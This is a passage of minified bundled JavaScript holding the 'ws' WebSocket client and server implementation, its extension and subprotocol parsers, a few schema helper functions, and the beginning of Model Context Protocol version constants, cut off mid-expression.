bwY(A,K,q){OG6(A,K,q),A.onerror(K)}});var J97=v((_ow,H97)=>{var{kForOnEventAttribute:cxA,kListener:$G6}=eU(),e37=Symbol("kCode"),A97=Symbol("kData"),K97=Symbol("kError"),q97=Symbol("kMessage"),Y97=Symbol("kReason"),gGA=Symbol("kTarget"),z97=Symbol("kType"),w97=Symbol("kWasClean");class Ya{constructor(A){this[gGA]=null,this[z97]=A}get target(){return this[gGA]}get type(){return this[z97]}}Object.defineProperty(Ya.prototype,"target",{enumerable:!0});Object.defineProperty(Ya.prototype,"type",{enumerable:!0});class FGA extends Ya{constructor(A,K={}){super(A);this[e37]=K.code===void 0?0:K.code,this[Y97]=K.reason===void 0?"":K.reason,this[w97]=K.wasClean===void 0?!1:K.wasClean}get code(){return this[e37]}get reason(){return this[Y97]}get wasClean(){return this[w97]}}Object.defineProperty(FGA.prototype,"code",{enumerable:!0});Object.defineProperty(FGA.prototype,"reason",{enumerable:!0});Object.defineProperty(FGA.prototype,"wasClean",{enumerable:!0});class lxA extends Ya{constructor(A,K={}){super(A);this[K97]=K.error===void 0?null:K.error,this[q97]=K.message===void 0?"":K.message}get error(){return this[K97]}get message(){return this[q97]}}Object.defineProperty(lxA.prototype,"error",{enumerable:!0});Object.defineProperty(lxA.prototype,"message",{enumerable:!0});class EO1 extends Ya{constructor(A,K={}){super(A);this[A97]=K.data===void 0?null:K.data}get data(){return this[A97]}}Object.defineProperty(EO1.prototype,"data",{enumerable:!0});var xwY={addEventListener(A,K,q={}){for(let z of this.listeners(A))if(!q[cxA]&&z[$G6]===K&&!z[cxA])return;let Y;if(A==="message")Y=function(w,H){let J=new EO1("message",{data:H?w:w.toString()});J[gGA]=this,vO1(K,this,J)};else if(A==="close")Y=function(w,H){let J=new FGA("close",{code:w,reason:H.toString(),wasClean:this._closeFrameReceived&&this._closeFrameSent});J[gGA]=this,vO1(K,this,J)};else if(A==="error")Y=function(w){let H=new lxA("error",{error:w,message:w.message});H[gGA]=this,vO1(K,this,H)};else if(A==="open")Y=function(){let w=new Ya("open");w[gGA]=this,vO1(K,this,w)};else return;if(Y[cxA]=!!q[cxA],Y[$G6]=K,q.once)this.once(A,Y);else this.on(A,Y)},removeEventListener(A,K){for(let q of this.listeners(A))if(q[$G6]===K&&!q[cxA]){this.removeListener(A,q);break}}};H97.exports={CloseEvent:FGA,ErrorEvent:lxA,Event:Ya,EventTarget:xwY,MessageEvent:EO1};function vO1(A,K,q){if(typeof A==="object"&&A.handleEvent)A.handleEvent.call(A,q);else A.call(K,q)}});var _G6=v((Gow,O97)=>{var{tokenChars:ixA}=uGA();function uu(A,K,q){if(A[K]===void 0)A[K]=[q];else A[K].push(q)}function uwY(A){let K=Object.create(null),q=Object.create(null),Y=!1,z=!1,w=!1,H,J,O=-1,X=-1,$=-1,_=0;for(;_<A.length;_++)if(X=A.charCodeAt(_),H===void 0)if($===-1&&ixA[X]===1){if(O===-1)O=_}else if(_!==0&&(X===32||X===9)){if($===-1&&O!==-1)$=_}else if(X===59||X===44){if(O===-1)throw SyntaxError(`Unexpected character at index ${_}`);if($===-1)$=_;let Z=A.slice(O,$);if(X===44)uu(K,Z,q),q=Object.create(null);else H=Z;O=$=-1}else throw SyntaxError(`Unexpected character at index ${_}`);else if(J===void 0)if($===-1&&ixA[X]===1){if(O===-1)O=_}else if(X===32||X===9){if($===-1&&O!==-1)$=_}else if(X===59||X===44){if(O===-1)throw SyntaxError(`Unexpected character at index ${_}`);if($===-1)$=_;if(uu(q,A.slice(O,$),!0),X===44)uu(K,H,q),q=Object.create(null),H=void 0;O=$=-1}else if(X===61&&O!==-1&&$===-1)J=A.slice(O,_),O=$=-1;else throw SyntaxError(`Unexpected character at index ${_}`);else if(z){if(ixA[X]!==1)throw SyntaxError(`Unexpected character at index ${_}`);if(O===-1)O=_;else if(!Y)Y=!0;z=!1}else if(w)if(ixA[X]===1){if(O===-1)O=_}else if(X===34&&O!==-1)w=!1,$=_;else if(X===92)z=!0;else throw SyntaxError(`Unexpected character at index ${_}`);else if(X===34&&A.charCodeAt(_-1)===61)w=!0;else if($===-1&&ixA[X]===1){if(O===-1)O=_}else if(O!==-1&&(X===32||X===9)){if($===-1)$=_}else if(X===59||X===44){if(O===-1)throw SyntaxError(`Unexpected character at index ${_}`);if($===-1)$=_;let Z=A.slice(O,$);if(Y)Z=Z.replace(/\\/g,""),Y=!1;if(uu(q,J,Z),X===44)uu(K,H,q),q=Object.create(null),H=void 0;J=void 0,O=$=-1}else throw SyntaxError(`Unexpected character at index ${_}`);if(O===-1||w||X===32||X===9)throw SyntaxError("Unexpected end of input");if($===-1)$=_;let G=A.slice(O,$);if(H===void 0)uu(K,G,q);else{if(J===void 0)uu(q,G,!0);else if(Y)uu(q,J,G.replace(/\\/g,""));else uu(q,J,G);uu(K,H,q)}return K}function BwY(A){return Object.keys(A).map((K)=>{let q=A[K];if(!Array.isArray(q))q=[q];return q.map((Y)=>{return[K].concat(Object.keys(Y).map((z)=>{let w=Y[z];if(!Array.isArray(w))w=[w];return w.map((H)=>H===!0?z:`${z}=${H}`).join("; ")})).join("; ")}).join(", ")}).join(", ")}O97.exports={format:BwY,parse:uwY}});var RO1=v((Dow,f97)=>{var mwY=CA("events"),gwY=CA("https"),FwY=CA("http"),_97=CA("net"),QwY=CA("tls"),{randomBytes:UwY,createHash:pwY}=CA("crypto"),{Duplex:Zow,Readable:Wow}=CA("stream"),{URL:GG6}=CA("url"),za=dxA(),dwY=JG6(),cwY=XG6(),{isBlob:lwY}=uGA(),{BINARY_TYPES:X97,EMPTY_BUFFER:kO1,GUID:iwY,kForOnEventAttribute:ZG6,kListener:nwY,kStatusCode:rwY,kWebSocket:TG,NOOP:G97}=eU(),{EventTarget:{addEventListener:owY,removeEventListener:awY}}=J97(),{format:swY,parse:twY}=_G6(),{toBuffer:ewY}=UxA(),Z97=Symbol("kAborted"),WG6=[8,13],Kp=["CONNECTING","OPEN","CLOSING","CLOSED"],AHY=/^[!#$%&'*+\-.0-9A-Z^_`|a-z~]+$/;class y5 extends mwY{constructor(A,K,q){super();if(this._binaryType=X97[0],this._closeCode=1006,this._closeFrameReceived=!1,this._closeFrameSent=!1,this._closeMessage=kO1,this._closeTimer=null,this._errorEmitted=!1,this._extensions={},this._paused=!1,this._protocol="",this._readyState=y5.CONNECTING,this._receiver=null,this._sender=null,this._socket=null,A!==null){if(this._bufferedAmount=0,this._isServer=!1,this._redirects=0,K===void 0)K=[];else if(!Array.isArray(K))if(typeof K==="object"&&K!==null)q=K,K=[];else K=[K];W97(this,A,K,q)}else this._autoPong=q.autoPong,this._isServer=!0}get binaryType(){return this._binaryType}set binaryType(A){if(!X97.includes(A))return;if(this._binaryType=A,this._receiver)this._receiver._binaryType=A}get bufferedAmount(){if(!this._socket)return this._bufferedAmount;return this._socket._writableState.length+this._sender._bufferedBytes}get extensions(){return Object.keys(this._extensions).join()}get isPaused(){return this._paused}get onclose(){return null}get onerror(){return null}get onopen(){return null}get onmessage(){return null}get protocol(){return this._protocol}get readyState(){return this._readyState}get url(){return this._url}setSocket(A,K,q){let Y=new dwY({allowSynchronousEvents:q.allowSynchronousEvents,binaryType:this.binaryType,extensions:this._extensions,isServer:this._isServer,maxPayload:q.maxPayload,skipUTF8Validation:q.skipUTF8Validation}),z=new cwY(A,this._extensions,q.generateMask);if(this._receiver=Y,this._sender=z,this._socket=A,Y[TG]=this,z[TG]=this,A[TG]=this,Y.on("conclude",YHY),Y.on("drain",zHY),Y.on("error",wHY),Y.on("message",HHY),Y.on("ping",JHY),Y.on("pong",OHY),z.onerror=XHY,A.setTimeout)A.setTimeout(0);if(A.setNoDelay)A.setNoDelay();if(K.length>0)A.unshift(K);A.on("close",M97),A.on("data",LO1),A.on("end",P97),A.on("error",V97),this._readyState=y5.OPEN,this.emit("open")}emitClose(){if(!this._socket){this._readyState=y5.CLOSED,this.emit("close",this._closeCode,this._closeMessage);return}if(this._extensions[za.extensionName])this._extensions[za.extensionName].cleanup();this._receiver.removeAllListeners(),this._readyState=y5.CLOSED,this.emit("close",this._closeCode,this._closeMessage)}close(A,K){if(this.readyState===y5.CLOSED)return;if(this.readyState===y5.CONNECTING){lT(this,this._req,"WebSocket was closed before the connection was established");return}if(this.readyState===y5.CLOSING){if(this._closeFrameSent&&(this._closeFrameReceived||this._receiver._writableState.errorEmitted))this._socket.end();return}this._readyState=y5.CLOSING,this._sender.close(A,K,!this._isServer,(q)=>{if(q)return;if(this._closeFrameSent=!0,this._closeFrameReceived||this._receiver._writableState.errorEmitted)this._socket.end()}),j97(this)}pause(){if(this.readyState===y5.CONNECTING||this.readyState===y5.CLOSED)return;this._paused=!0,this._socket.pause()}ping(A,K,q){if(this.readyState===y5.CONNECTING)throw Error("WebSocket is not open: readyState 0 (CONNECTING)");if(typeof A==="function")q=A,A=K=void 0;else if(typeof K==="function")q=K,K=void 0;if(typeof A==="number")A=A.toString();if(this.readyState!==y5.OPEN){DG6(this,A,q);return}if(K===void 0)K=!this._isServer;this._sender.ping(A||kO1,K,q)}pong(A,K,q){if(this.readyState===y5.CONNECTING)throw Error("WebSocket is not open: readyState 0 (CONNECTING)");if(typeof A==="function")q=A,A=K=void 0;else if(typeof K==="function")q=K,K=void 0;if(typeof A==="number")A=A.toString();if(this.readyState!==y5.OPEN){DG6(this,A,q);return}if(K===void 0)K=!this._isServer;this._sender.pong(A||kO1,K,q)}resume(){if(this.readyState===y5.CONNECTING||this.readyState===y5.CLOSED)return;if(this._paused=!1,!this._receiver._writableState.needDrain)this._socket.resume()}send(A,K,q){if(this.readyState===y5.CONNECTING)throw Error("WebSocket is not open: readyState 0 (CONNECTING)");if(typeof K==="function")q=K,K={};if(typeof A==="number")A=A.toString();if(this.readyState!==y5.OPEN){DG6(this,A,q);return}let Y={binary:typeof A!=="string",mask:!this._isServer,compress:!0,fin:!0,...K};if(!this._extensions[za.extensionName])Y.compress=!1;this._sender.send(A||kO1,Y,q)}terminate(){if(this.readyState===y5.CLOSED)return;if(this.readyState===y5.CONNECTING){lT(this,this._req,"WebSocket was closed before the connection was established");return}if(this._socket)this._readyState=y5.CLOSING,this._socket.destroy()}}Object.defineProperty(y5,"CONNECTING",{enumerable:!0,value:Kp.indexOf("CONNECTING")});Object.defineProperty(y5.prototype,"CONNECTING",{enumerable:!0,value:Kp.indexOf("CONNECTING")});Object.defineProperty(y5,"OPEN",{enumerable:!0,value:Kp.indexOf("OPEN")});Object.defineProperty(y5.prototype,"OPEN",{enumerable:!0,value:Kp.indexOf("OPEN")});Object.defineProperty(y5,"CLOSING",{enumerable:!0,value:Kp.indexOf("CLOSING")});Object.defineProperty(y5.prototype,"CLOSING",{enumerable:!0,value:Kp.indexOf("CLOSING")});Object.defineProperty(y5,"CLOSED",{enumerable:!0,value:Kp.indexOf("CLOSED")});Object.defineProperty(y5.prototype,"CLOSED",{enumerable:!0,value:Kp.indexOf("CLOSED")});["binaryType","bufferedAmount","extensions","isPaused","protocol","readyState","url"].forEach((A)=>{Object.defineProperty(y5.prototype,A,{enumerable:!0})});["open","error","close","message"].forEach((A)=>{Object.defineProperty(y5.prototype,`on${A}`,{enumerable:!0,get(){for(let K of this.listeners(A))if(K[ZG6])return K[nwY];return null},set(K){for(let q of this.listeners(A))if(q[ZG6]){this.removeListener(A,q);break}if(typeof K!=="function")return;this.addEventListener(A,K,{[ZG6]:!0})}})});y5.prototype.addEventListener=owY;y5.prototype.removeEventListener=awY;f97.exports=y5;function W97(A,K,q,Y){let z={allowSynchronousEvents:!0,autoPong:!0,protocolVersion:WG6[1],maxPayload:104857600,skipUTF8Validation:!1,perMessageDeflate:!0,followRedirects:!1,maxRedirects:10,...Y,socketPath:void 0,hostname:void 0,protocol:void 0,timeout:void 0,method:"GET",host:void 0,path:void 0,port:void 0};if(A._autoPong=z.autoPong,!WG6.includes(z.protocolVersion))throw RangeError(`Unsupported protocol version: ${z.protocolVersion} (supported versions: ${WG6.join(", ")})`);let w;if(K instanceof GG6)w=K;else try{w=new GG6(K)}catch(D){throw SyntaxError(`Invalid URL: ${K}`)}if(w.protocol==="http:")w.protocol="ws:";else if(w.protocol==="https:")w.protocol="wss:";A._url=w.href;let H=w.protocol==="wss:",J=w.protocol==="ws+unix:",O;if(w.protocol!=="ws:"&&!H&&!J)O=`The URL's protocol must be one of "ws:", "wss:", "http:", "https:", or "ws+unix:"`;else if(J&&!w.pathname)O="The URL's pathname is empty";else if(w.hash)O="The URL contains a fragment identifier";if(O){let D=SyntaxError(O);if(A._redirects===0)throw D;else{CO1(A,D);return}}let X=H?443:80,$=UwY(16).toString("base64"),_=H?gwY.request:FwY.request,G=new Set,Z;if(z.createConnection=z.createConnection||(H?qHY:KHY),z.defaultPort=z.defaultPort||X,z.port=w.port||X,z.host=w.hostname.startsWith("[")?w.hostname.slice(1,-1):w.hostname,z.headers={...z.headers,"Sec-WebSocket-Version":z.protocolVersion,"Sec-WebSocket-Key":$,Connection:"Upgrade",Upgrade:"websocket"},z.path=w.pathname+w.search,z.timeout=z.handshakeTimeout,z.perMessageDeflate)Z=new za(z.perMessageDeflate!==!0?z.perMessageDeflate:{},!1,z.maxPayload),z.headers["Sec-WebSocket-Extensions"]=swY({[za.extensionName]:Z.offer()});if(q.length){for(let D of q){if(typeof D!=="string"||!AHY.test(D)||G.has(D))throw SyntaxError("An invalid or duplicated subprotocol was specified");G.add(D)}z.headers["Sec-WebSocket-Protocol"]=q.join(",")}if(z.origin)if(z.protocolVersion<13)z.headers["Sec-WebSocket-Origin"]=z.origin;else z.headers.Origin=z.origin;if(w.username||w.password)z.auth=`${w.username}:${w.password}`;if(J){let D=z.path.split(":");z.socketPath=D[0],z.path=D[1]}let W;if(z.followRedirects){if(A._redirects===0){A._originalIpc=J,A._originalSecure=H,A._originalHostOrSocketPath=J?z.socketPath:w.host;let D=Y&&Y.headers;if(Y={...Y,headers:{}},D)for(let[j,M]of Object.entries(D))Y.headers[j.toLowerCase()]=M}else if(A.listenerCount("redirect")===0){let D=J?A._originalIpc?z.socketPath===A._originalHostOrSocketPath:!1:A._originalIpc?!1:w.host===A._originalHostOrSocketPath;if(!D||A._originalSecure&&!H){if(delete z.headers.authorization,delete z.headers.cookie,!D)delete z.headers.host;z.auth=void 0}}if(z.auth&&!Y.headers.authorization)Y.headers.authorization="Basic "+Buffer.from(z.auth).toString("base64");if(W=A._req=_(z),A._redirects)A.emit("redirect",A.url,W)}else W=A._req=_(z);if(z.timeout)W.on("timeout",()=>{lT(A,W,"Opening handshake has timed out")});if(W.on("error",(D)=>{if(W===null||W[Z97])return;W=A._req=null,CO1(A,D)}),W.on("response",(D)=>{let j=D.headers.location,M=D.statusCode;if(j&&z.followRedirects&&M>=300&&M<400){if(++A._redirects>z.maxRedirects){lT(A,W,"Maximum redirects exceeded");return}W.abort();let P;try{P=new GG6(j,K)}catch(f){let N=SyntaxError(`Invalid URL: ${j}`);CO1(A,N);return}W97(A,P,q,Y)}else if(!A.emit("unexpected-response",W,D))lT(A,W,`Unexpected server response: ${D.statusCode}`)}),W.on("upgrade",(D,j,M)=>{if(A.emit("upgrade",D),A.readyState!==y5.CONNECTING)return;W=A._req=null;let P=D.headers.upgrade;if(P===void 0||P.toLowerCase()!=="websocket"){lT(A,j,"Invalid Upgrade header");return}let f=pwY("sha1").update($+iwY).digest("base64");if(D.headers["sec-websocket-accept"]!==f){lT(A,j,"Invalid Sec-WebSocket-Accept header");return}let N=D.headers["sec-websocket-protocol"],T;if(N!==void 0){if(!G.size)T="Server sent a subprotocol but none was requested";else if(!G.has(N))T="Server sent an invalid subprotocol"}else if(G.size)T="Server sent no subprotocol";if(T){lT(A,j,T);return}if(N)A._protocol=N;let C=D.headers["sec-websocket-extensions"];if(C!==void 0){if(!Z){lT(A,j,"Server sent a Sec-WebSocket-Extensions header but no extension was requested");return}let R;try{R=twY(C)}catch(y){lT(A,j,"Invalid Sec-WebSocket-Extensions header");return}let x=Object.keys(R);if(x.length!==1||x[0]!==za.extensionName){lT(A,j,"Server indicated an extension that was not requested");return}try{Z.accept(R[za.extensionName])}catch(y){lT(A,j,"Invalid Sec-WebSocket-Extensions header");return}A._extensions[za.extensionName]=Z}A.setSocket(j,M,{allowSynchronousEvents:z.allowSynchronousEvents,generateMask:z.generateMask,maxPayload:z.maxPayload,skipUTF8Validation:z.skipUTF8Validation})}),z.finishRequest)z.finishRequest(W,A);else W.end()}function CO1(A,K){A._readyState=y5.CLOSING,A._errorEmitted=!0,A.emit("error",K),A.emitClose()}function KHY(A){return A.path=A.socketPath,_97.connect(A)}function qHY(A){if(A.path=void 0,!A.servername&&A.servername!=="")A.servername=_97.isIP(A.host)?"":A.host;return QwY.connect(A)}function lT(A,K,q){A._readyState=y5.CLOSING;let Y=Error(q);if(Error.captureStackTrace(Y,lT),K.setHeader){if(K[Z97]=!0,K.abort(),K.socket&&!K.socket.destroyed)K.socket.destroy();process.nextTick(CO1,A,Y)}else K.destroy(Y),K.once("error",A.emit.bind(A,"error")),K.once("close",A.emitClose.bind(A))}function DG6(A,K,q){if(K){let Y=lwY(K)?K.size:ewY(K).length;if(A._socket)A._sender._bufferedBytes+=Y;else A._bufferedAmount+=Y}if(q){let Y=Error(`WebSocket is not open: readyState ${A.readyState} (${Kp[A.readyState]})`);process.nextTick(q,Y)}}function YHY(A,K){let q=this[TG];if(q._closeFrameReceived=!0,q._closeMessage=K,q._closeCode=A,q._socket[TG]===void 0)return;if(q._socket.removeListener("data",LO1),process.nextTick(D97,q._socket),A===1005)q.close();else q.close(A,K)}function zHY(){let A=this[TG];if(!A.isPaused)A._socket.resume()}function wHY(A){let K=this[TG];if(K._socket[TG]!==void 0)K._socket.removeListener("data",LO1),process.nextTick(D97,K._socket),K.close(A[rwY]);if(!K._errorEmitted)K._errorEmitted=!0,K.emit("error",A)}function $97(){this[TG].emitClose()}function HHY(A,K){this[TG].emit("message",A,K)}function JHY(A){let K=this[TG];if(K._autoPong)K.pong(A,!this._isServer,G97);K.emit("ping",A)}function OHY(A){this[TG].emit("pong",A)}function D97(A){A.resume()}function XHY(A){let K=this[TG];if(K.readyState===y5.CLOSED)return;if(K.readyState===y5.OPEN)K._readyState=y5.CLOSING,j97(K);if(this._socket.end(),!K._errorEmitted)K._errorEmitted=!0,K.emit("error",A)}function j97(A){A._closeTimer=setTimeout(A._socket.destroy.bind(A._socket),30000)}function M97(){let A=this[TG];this.removeListener("close",M97),this.removeListener("data",LO1),this.removeListener("end",P97),A._readyState=y5.CLOSING;let K;if(!this._readableState.endEmitted&&!A._closeFrameReceived&&!A._receiver._writableState.errorEmitted&&(K=A._socket.read())!==null)A._receiver.write(K);if(A._receiver.end(),this[TG]=void 0,clearTimeout(A._closeTimer),A._receiver._writableState.finished||A._receiver._writableState.errorEmitted)A.emitClose();else A._receiver.on("error",$97),A._receiver.on("finish",$97)}function LO1(A){if(!this[TG]._receiver.write(A))this.pause()}function P97(){let A=this[TG];A._readyState=y5.CLOSING,A._receiver.end(),this.end()}function V97(){let A=this[TG];if(this.removeListener("error",V97),this.on("error",G97),A)A._readyState=y5.CLOSING,this.destroy()}});var E97=v((Mow,v97)=>{var jow=RO1(),{Duplex:$HY}=CA("stream");function N97(A){A.emit("close")}function _HY(){if(!this.destroyed&&this._writableState.finished)this.destroy()}function T97(A){if(this.removeListener("error",T97),this.destroy(),this.listenerCount("error")===0)this.emit("error",A)}function GHY(A,K){let q=!0,Y=new $HY({...K,autoDestroy:!1,emitClose:!1,objectMode:!1,writableObjectMode:!1});return A.on("message",function(w,H){let J=!H&&Y._readableState.objectMode?w.toString():w;if(!Y.push(J))A.pause()}),A.once("error",function(w){if(Y.destroyed)return;q=!1,Y.destroy(w)}),A.once("close",function(){if(Y.destroyed)return;Y.push(null)}),Y._destroy=function(z,w){if(A.readyState===A.CLOSED){w(z),process.nextTick(N97,Y);return}let H=!1;if(A.once("error",function(O){H=!0,w(O)}),A.once("close",function(){if(!H)w(z);process.nextTick(N97,Y)}),q)A.terminate()},Y._final=function(z){if(A.readyState===A.CONNECTING){A.once("open",function(){Y._final(z)});return}if(A._socket===null)return;if(A._socket._writableState.finished){if(z(),Y._readableState.endEmitted)Y.destroy()}else A._socket.once("finish",function(){z()}),A.close()},Y._read=function(){if(A.isPaused)A.resume()},Y._write=function(z,w,H){if(A.readyState===A.CONNECTING){A.once("open",function(){Y._write(z,w,H)});return}A.send(z,H)},Y.on("end",_HY),Y.on("error",T97),Y}v97.exports=GHY});var C97=v((Pow,k97)=>{var{tokenChars:ZHY}=uGA();function WHY(A){let K=new Set,q=-1,Y=-1,z=0;for(z;z<A.length;z++){let H=A.charCodeAt(z);if(Y===-1&&ZHY[H]===1){if(q===-1)q=z}else if(z!==0&&(H===32||H===9)){if(Y===-1&&q!==-1)Y=z}else if(H===44){if(q===-1)throw SyntaxError(`Unexpected character at index ${z}`);if(Y===-1)Y=z;let J=A.slice(q,Y);if(K.has(J))throw SyntaxError(`The "${J}" subprotocol is duplicated`);K.add(J),q=Y=-1}else throw SyntaxError(`Unexpected character at index ${z}`)}if(q===-1||Y!==-1)throw SyntaxError("Unexpected end of input");let w=A.slice(q,z);if(K.has(w))throw SyntaxError(`The "${w}" subprotocol is duplicated`);return K.add(w),K}k97.exports={parse:WHY}});var S97=v((fow,I97)=>{var DHY=CA("events"),yO1=CA("http"),{Duplex:Vow}=CA("stream"),{createHash:jHY}=CA("crypto"),L97=_G6(),AqA=dxA(),MHY=C97(),PHY=RO1(),{GUID:VHY,kWebSocket:fHY}=eU(),NHY=/^[+/0-9A-Za-z]{22}==$/;class y97 extends DHY{constructor(A,K){super();if(A={allowSynchronousEvents:!0,autoPong:!0,maxPayload:104857600,skipUTF8Validation:!1,perMessageDeflate:!1,handleProtocols:null,clientTracking:!0,verifyClient:null,noServer:!1,backlog:null,server:null,host:null,path:null,port:null,WebSocket:PHY,...A},A.port==null&&!A.server&&!A.noServer||A.port!=null&&(A.server||A.noServer)||A.server&&A.noServer)throw TypeError('One and only one of the "port", "server", or "noServer" options must be specified');if(A.port!=null)this._server=yO1.createServer((q,Y)=>{let z=yO1.STATUS_CODES[426];Y.writeHead(426,{"Content-Length":z.length,"Content-Type":"text/plain"}),Y.end(z)}),this._server.listen(A.port,A.host,A.backlog,K);else if(A.server)this._server=A.server;if(this._server){let q=this.emit.bind(this,"connection");this._removeListeners=THY(this._server,{listening:this.emit.bind(this,"listening"),error:this.emit.bind(this,"error"),upgrade:(Y,z,w)=>{this.handleUpgrade(Y,z,w,q)}})}if(A.perMessageDeflate===!0)A.perMessageDeflate={};if(A.clientTracking)this.clients=new Set,this._shouldEmitClose=!1;this.options=A,this._state=0}address(){if(this.options.noServer)throw Error('The server is operating in "noServer" mode');if(!this._server)return null;return this._server.address()}close(A){if(this._state===2){if(A)this.once("close",()=>{A(Error("The server is not running"))});process.nextTick(nxA,this);return}if(A)this.once("close",A);if(this._state===1)return;if(this._state=1,this.options.noServer||this.options.server){if(this._server)this._removeListeners(),this._removeListeners=this._server=null;if(this.clients)if(!this.clients.size)process.nextTick(nxA,this);else this._shouldEmitClose=!0;else process.nextTick(nxA,this)}else{let K=this._server;this._removeListeners(),this._removeListeners=this._server=null,K.close(()=>{nxA(this)})}}shouldHandle(A){if(this.options.path){let K=A.url.indexOf("?");if((K!==-1?A.url.slice(0,K):A.url)!==this.options.path)return!1}return!0}handleUpgrade(A,K,q,Y){K.on("error",R97);let z=A.headers["sec-websocket-key"],w=A.headers.upgrade,H=+A.headers["sec-websocket-version"];if(A.method!=="GET"){KqA(this,A,K,405,"Invalid HTTP method");return}if(w===void 0||w.toLowerCase()!=="websocket"){KqA(this,A,K,400,"Invalid Upgrade header");return}if(z===void 0||!NHY.test(z)){KqA(this,A,K,400,"Missing or invalid Sec-WebSocket-Key header");return}if(H!==13&&H!==8){KqA(this,A,K,400,"Missing or invalid Sec-WebSocket-Version header",{"Sec-WebSocket-Version":"13, 8"});return}if(!this.shouldHandle(A)){rxA(K,400);return}let J=A.headers["sec-websocket-protocol"],O=new Set;if(J!==void 0)try{O=MHY.parse(J)}catch(_){KqA(this,A,K,400,"Invalid Sec-WebSocket-Protocol header");return}let X=A.headers["sec-websocket-extensions"],$={};if(this.options.perMessageDeflate&&X!==void 0){let _=new AqA(this.options.perMessageDeflate,!0,this.options.maxPayload);try{let G=L97.parse(X);if(G[AqA.extensionName])_.accept(G[AqA.extensionName]),$[AqA.extensionName]=_}catch(G){KqA(this,A,K,400,"Invalid or unacceptable Sec-WebSocket-Extensions header");return}}if(this.options.verifyClient){let _={origin:A.headers[`${H===8?"sec-websocket-origin":"origin"}`],secure:!!(A.socket.authorized||A.socket.encrypted),req:A};if(this.options.verifyClient.length===2){this.options.verifyClient(_,(G,Z,W,D)=>{if(!G)return rxA(K,Z||401,W,D);this.completeUpgrade($,z,O,A,K,q,Y)});return}if(!this.options.verifyClient(_))return rxA(K,401)}this.completeUpgrade($,z,O,A,K,q,Y)}completeUpgrade(A,K,q,Y,z,w,H){if(!z.readable||!z.writable)return z.destroy();if(z[fHY])throw Error("server.handleUpgrade() was called more than once with the same socket, possibly due to a misconfiguration");if(this._state>0)return rxA(z,503);let O=["HTTP/1.1 101 Switching Protocols","Upgrade: websocket","Connection: Upgrade",`Sec-WebSocket-Accept: ${jHY("sha1").update(K+VHY).digest("base64")}`],X=new this.options.WebSocket(null,void 0,this.options);if(q.size){let $=this.options.handleProtocols?this.options.handleProtocols(q,Y):q.values().next().value;if($)O.push(`Sec-WebSocket-Protocol: ${$}`),X._protocol=$}if(A[AqA.extensionName]){let $=A[AqA.extensionName].params,_=L97.format({[AqA.extensionName]:[$]});O.push(`Sec-WebSocket-Extensions: ${_}`),X._extensions=A}if(this.emit("headers",O,Y),z.write(O.concat(`\r `).join(`\r `)),z.removeListener("error",R97),X.setSocket(z,w,{allowSynchronousEvents:this.options.allowSynchronousEvents,maxPayload:this.options.maxPayload,skipUTF8Validation:this.options.skipUTF8Validation}),this.clients)this.clients.add(X),X.on("close",()=>{if(this.clients.delete(X),this._shouldEmitClose&&!this.clients.size)process.nextTick(nxA,this)});H(X,Y)}}I97.exports=y97;function THY(A,K){for(let q of Object.keys(K))A.on(q,K[q]);return function(){for(let Y of Object.keys(K))A.removeListener(Y,K[Y])}}function nxA(A){A._state=2,A.emit("close")}function R97(){this.destroy()}function rxA(A,K,q,Y){q=q||yO1.STATUS_CODES[K],Y={Connection:"close","Content-Type":"text/html","Content-Length":Buffer.byteLength(q),...Y},A.once("finish",A.destroy),A.end(`HTTP/1.1 ${K} ${yO1.STATUS_CODES[K]}\r `+Object.keys(Y).map((z)=>`${z}: ${Y[z]}`).join(`\r `)+`\r \r `+q)}function KqA(A,K,q,Y,z,w){if(A.listenerCount("wsClientError")){let H=Error(z);Error.captureStackTrace(H,KqA),A.emit("wsClientError",H,q,K)}else rxA(q,Y,z,w)}});var vHY,EHY,kHY,oxA,CHY,Bu;var axA=k(()=>{vHY=o(E97(),1),EHY=o(JG6(),1),kHY=o(XG6(),1),oxA=o(RO1(),1),CHY=o(S97(),1),Bu=oxA.default});var h97=k(()=>{ij()});var b97=()=>{};var x97=()=>{};var u97=()=>{};var B97=()=>{};var m97=k(()=>{ij();TeA();u97();B97();h97();b97();x97()});var g97=k(()=>{m97()});var F97=k(()=>{g97()});function wa(A){return!!A._zod}function BM(A,K){if(wa(A))return gHA(A,K);return A.safeParse(K)}function QGA(A){var K,q;if(!A)return;let Y;if(wa(A))Y=(q=(K=A._zod)===null||K===void 0?void 0:K.def)===null||q===void 0?void 0:q.shape;else Y=A.shape;if(!Y)return;if(typeof Y==="function")try{return Y()}catch(z){return}return Y}function Q97(A){var K;if(wa(A)){let H=(K=A._zod)===null||K===void 0?void 0:K.def;if(H){if(H.value!==void 0)return H.value;if(Array.isArray(H.values)&&H.values.length>0)return H.values[0]}}let Y=A._def;if(Y){if(Y.value!==void 0)return Y.value;if(Array.isArray(Y.values)&&Y.values.length>0)return Y.values[0]}let z=A.value;if(z!==void 0)return z;return}var sxA=k(()=>{F97()});var Ha="2025-11-25",SO1,gu="io.modelcontextprotocol/related-task",hO1="2.0",mu,U97,p97,IHY,jG6,SHY,Jf,eZ,qqA,LC,pD,bO1,d97,txA=(A)=>d97.safeParse(A).success,c97,l97=(A)=>c97.safeParse(A).success,i97,YqA=(A)=>i97.safeParse(A).success,Hq,n97,r97=(A)=>n97.safeParse(A).success,Fu,qp,hHY,xO1,bHY,exA,UGA,o97,xHY,uHY,BHY,mHY,gHY,FHY,MG6,QHY,PG6,uO1,a97=(A)=>uO1.safeParse(A).success,BO1,UHY,pHY,mO1,dHY,AuA,KuA,quA,Yp,cHY,YuA,gO1,FO1,QO1,UO1,pO1,s97,t97,e97,AY7,VG6,KY7,pGA,qY7,lHY,iHY,zqA,nHY,fG6,NG6,rHY,oHY,wqA,TG6,aHY,sHY,tHY,eHY,AJY,KJY,qJY,YJY,zJY,zuA,wJY,HJY,vG6,EG6,kG6,JJY,OJY,XJY,CG6,$JY,LG6,RG6,_JY,GJY,YY7,wuA,HuA,mM,uow,ZJY,HqA,yG6,JuA,WJY,IG6,DJY,jJY,MJY,PJY,VJY,fJY,NJY,IO1,TJY,vJY,SG6,OuA,hG6,EJY,kJY,CJY,LJY,RJY,yJY,IJY,SJY,hJY,bJY,xJY,uJY,BJY,mJY,gJY,dO1,FJY,QJY,dGA,UJY,pJY,dJY,cJY,bG6,lJY,xG6,uG6,iJY,Bow,mow,gow,Fow,Qow,Uow,MK,zY7;var G_=k(()=>{z7();SO1=[Ha,"2025-06-18","2025-03-26","2024-11-05","2024-10-07"],mu=kp1((A)=>A!==null&&(typeof A==="object"||typeof 